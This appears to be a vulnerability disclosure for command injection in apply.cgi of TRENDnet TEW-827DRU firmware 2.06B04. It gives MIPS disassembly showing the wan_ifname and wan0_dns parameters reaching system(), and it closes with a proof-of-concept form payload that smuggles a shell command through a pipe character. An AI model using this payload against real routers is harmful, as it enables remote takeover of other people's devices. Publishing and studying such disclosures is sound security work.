TEW-827DRU

Firmware version

```
TEW-827DRU firmware: 2.06B04
```

Description

```
TRENDnet TEW-827DRU with firmware up to and including 2.06B04 contains multiple
command injections in apply.cgi via the action pppoe_connect, ru_pppoe_connect
or dhcp_connect with the key wan_ifname (or wan0_dns), allowing an authenticated
user to run arbitrary commands on the device.
```

Detial

```
The bug in function: 0x41FF2C, binary: www/cgi/ssi
The parameter 'wan_ifname' or 'wan0_dns' pass to system
```

```
004204B4                addiu   $a0, $v1, (aWanIfname_0 - 0x4C0000)  # "wan_ifname"
004204B8                move    $a1, $v0
004204BC                li      $a2, 0x11
004204C0                la      $v0, query_vars
004204C4                nop
004204C8                move    $t9, $v0
004204CC                jalr    $t9 ; query_vars
004204D0                nop
004204D4                lw      $gp, 0x198+var_188($fp)
004204D8                nop
004204DC                la      $v0, aAclServiceBloc  # "acl_service_block.rule_0"
004204E0                nop
004204E4                addiu   $v1, $v0, (aSbinIfconfigS0 - 0x4C0000)  # "/sbin/ifconfig %s 0.0.0.0"
004204E8                addiu   $a0, $fp, 0x198+var_F0  # s
004204EC                addiu   $v0, $fp, 0x198+var_AC
004204F0                move    $a1, $v1        # format
004204F4                move    $a2, $v0
004204F8                la      $v0, sprintf
004204FC                nop
00420500                move    $t9, $v0
00420504                jalr    $t9 ; sprintf
00420508                nop
0042050C                lw      $gp, 0x198+var_188($fp)
00420510                addiu   $v0, $fp, 0x198+var_F0
00420514                move    $a0, $v0        # command
00420518                la      $v0, system
004205DC                addiu   $a0, $v1, (aWan0Dns - 0x4C0000)  # "wan0_dns"
004205E0                move    $a1, $v0
004205E4                li      $a2, 0x80
004205E8                la      $v0, query_vars
004205EC                nop
004205F0                move    $t9, $v0
004205F4                jalr    $t9 ; query_vars
00420664                addiu   $v0, (asc_4B8B70 - 0x4C0000)  # " "
00420668                addiu   $v1, $fp, 0x198+var_10
0042066C                move    $a0, $v1        # stringp
00420670                move    $a1, $v0        # delim
00420674                la      $v0, strsep
00420678                nop
0042067C                move    $t9, $v0
00420680                jalr    $t9 ; strsep
00420684                nop
00420688                lw      $gp, 0x198+var_188($fp)
0042068C                sw      $v0, 0x198+var_178($fp)
00420690                la      $v0, aAclServiceBloc  # "acl_service_block.rule_0"
00420694                nop
00420698                addiu   $v0, (aEchoIpSTmpKgp - 0x4C0000)  # "echo \"ip = %s\" >> /tmp/kgp"
0042069C                addiu   $v1, $fp, 0x198+var_F0
004206A0                move    $a0, $v1        # s
004206A4                move    $a1, $v0        # format
004206A8                lw      $a2, 0x198+var_178($fp)
004206AC                la      $v0, sprintf
004206B0                nop
004206B4                move    $t9, $v0
004206B8                jalr    $t9 ; sprintf
004206BC                nop
004206C0                lw      $gp, 0x198+var_188($fp)
004206C4                addiu   $v0, $fp, 0x198+var_F0
004206C8                move    $a0, $v0        # command
004206CC                la      $v0, system
004206D0                nop
004206D4                move    $t9, $v0
004206D8                jalr    $t9 ; system
```

Send Packege

```
    command = 'ab|echo 2 > /tmp/test;'
    scommand = bytes(command, 'utf8')

    data2 = {
        b'action': b'dhcp_connect',
        /* b'action': b'pppoe_connect', */
        /* b'action': b'ru_pppoe_connect', */
        b'status': b'DHCP Release',
        b'wan0_proto': b'dhcpc',
        b'dhcp_renew_countdown': b'',
        b'russia': b'russia',
        b'wan_ifname': scommand,
    }
```